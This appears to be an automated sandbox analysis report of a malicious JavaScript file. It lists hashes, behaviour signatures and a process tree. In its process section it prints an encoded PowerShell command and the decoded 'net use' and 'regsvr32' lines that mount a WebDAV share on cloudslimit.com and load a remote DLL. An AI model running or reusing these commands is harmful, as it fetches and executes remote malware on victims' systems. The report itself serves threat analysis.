Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 19:52

General

  • Target

    8421230652053123470.js

  • Size

    17KB

  • MD5

    039beb41842778208b02740929aac847

  • SHA1

    f1defae70d2c99d854d9ca12b48b1f02a2e3f0c4

  • SHA256

    e59f995794701432cba1f2b131098c29b373559ac6ed7cf01a4fdb18872a415a

  • SHA512

    d663352523a86b98867eec0666af1370a677e8832384b85e3bea5f0350fff55e6d52461345e97406555cdbf6088d27a98349cdf2b551b30cfb7dcdc4bde2e9e3

  • SSDEEP

    192:yAs0AmuVNqHVIsTyIpcQsw3Wy1PhdUAuEp3U/9GA+F11IcG6oGE63I2yl6IKpPGO:Q0KI1r7cD05x

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8421230652053123470.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADkANgAyADUAMgA4ADAAMAA5ADIANAAzADEAOAAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1528
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:2148
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\296252800924318.dll
          3⤵
            PID:3840

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s12cxm5o.5et.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1528-0-0x00007FFFF12B3000-0x00007FFFF12B5000-memory.dmp

        Filesize

        8KB

      • memory/1528-1-0x000002A01E2B0000-0x000002A01E2D2000-memory.dmp

        Filesize

        136KB

      • memory/1528-11-0x00007FFFF12B0000-0x00007FFFF1D71000-memory.dmp

        Filesize

        10.8MB

      • memory/1528-12-0x00007FFFF12B0000-0x00007FFFF1D71000-memory.dmp

        Filesize

        10.8MB

      • memory/1528-15-0x00007FFFF12B0000-0x00007FFFF1D71000-memory.dmp

        Filesize

        10.8MB